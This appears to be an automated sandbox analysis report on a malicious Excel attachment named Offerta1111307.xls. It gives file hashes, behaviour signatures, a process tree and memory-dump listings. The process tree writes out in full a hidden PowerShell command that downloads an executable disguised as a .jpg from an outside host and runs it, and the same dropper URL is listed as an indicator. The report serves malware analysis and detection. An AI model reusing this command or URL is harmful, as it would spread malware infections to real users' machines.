Analysis

  • max time kernel
    137s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    07-07-2020 12:42

General

  • Target

    Offerta1111307.xls

  • Size

    171KB

  • MD5

    56efde4b17b8076c0f1f8c2491b3b00d

  • SHA1

    4212e1fe7bc45ad8f91986445b380d0cfb68ef42

  • SHA256

    79e42e4da20588bed383670a9af00056e8cc99fcc2353d7a2f5a24ddc2eed66a

  • SHA512

    355f83c150b288b54e4e0f347cafcd6d7fc7c1740c62fd357e8e72d2abab08abb85c93690cc2209f37f56cee77f45d14eb9d91779a65a16fdd77fe5f32bdcf05

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://crogtrt.com/IG/6591111307.jpg

Signatures

  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Executes dropped EXE 1 IoCs
  • Program crash 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Offerta1111307.xls"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:716
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/IG/6591111307.jpg',$env:Temp+'\chrone.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\chrone.exe')
      2⤵
      • Suspicious use of WriteProcessMemory
      • Process spawned unexpected child process
      PID:3352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://crogtrt.com/IG/6591111307.jpg',$env:Temp+'\chrone.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\chrone.exe')
        3⤵
        • Suspicious use of WriteProcessMemory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Blacklisted process makes network request
        PID:2212
        • C:\Users\Admin\AppData\Local\Temp\chrone.exe
          "C:\Users\Admin\AppData\Local\Temp\chrone.exe"
          4⤵
          • Executes dropped EXE
          PID:3672
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3672 -s 892
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            • Program crash
            PID:4268

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\chrone.exe

  • C:\Users\Admin\AppData\Local\Temp\chrone.exe

  • memory/716-1-0x00000126E0E44000-0x00000126E0E49000-memory.dmp

    Filesize

    20KB

  • memory/716-2-0x00000126E0E44000-0x00000126E0E49000-memory.dmp

    Filesize

    20KB

  • memory/716-0-0x00000126E0E44000-0x00000126E0E49000-memory.dmp

    Filesize

    20KB

  • memory/2212-4-0x0000000000000000-mapping.dmp

  • memory/3352-3-0x0000000000000000-mapping.dmp

  • memory/3672-12-0x0000000000000000-mapping.dmp

  • memory/3672-16-0x0000000000000000-mapping.dmp

  • memory/3672-10-0x0000000000000000-mapping.dmp

  • memory/3672-9-0x0000000000000000-mapping.dmp

  • memory/3672-11-0x0000000000000000-mapping.dmp

  • memory/3672-150-0x0000000000000000-mapping.dmp

  • memory/3672-14-0x0000000000000000-mapping.dmp

  • memory/3672-13-0x0000000000000000-mapping.dmp

  • memory/3672-15-0x0000000000000000-mapping.dmp

  • memory/3672-5-0x0000000000000000-mapping.dmp

  • memory/3672-151-0x0000000000000000-mapping.dmp

  • memory/3672-145-0x0000000000000000-mapping.dmp

  • memory/3672-144-0x0000000000000000-mapping.dmp

  • memory/3672-147-0x0000000000000000-mapping.dmp

  • memory/3672-146-0x0000000000000000-mapping.dmp

  • memory/3672-148-0x0000000000000000-mapping.dmp

  • memory/3672-149-0x0000000000000000-mapping.dmp

  • memory/4268-160-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-173-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-152-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-153-0x0000000005860000-0x0000000005861000-memory.dmp

    Filesize

    4KB

  • memory/4268-154-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-155-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-156-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-157-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-158-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-159-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-8-0x0000000004E80000-0x0000000004E81000-memory.dmp

    Filesize

    4KB

  • memory/4268-161-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-162-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-164-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-163-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-165-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-166-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-167-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-168-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-169-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-170-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-171-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-172-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-17-0x0000000005730000-0x0000000005731000-memory.dmp

    Filesize

    4KB

  • memory/4268-174-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-175-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-176-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-177-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-178-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-179-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-180-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-181-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-182-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-183-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-184-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-185-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-186-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-187-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-188-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-189-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-190-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-191-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-192-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-193-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-194-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-195-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB

  • memory/4268-196-0x00000000034C0000-0x00000000034C1000-memory.dmp

    Filesize

    4KB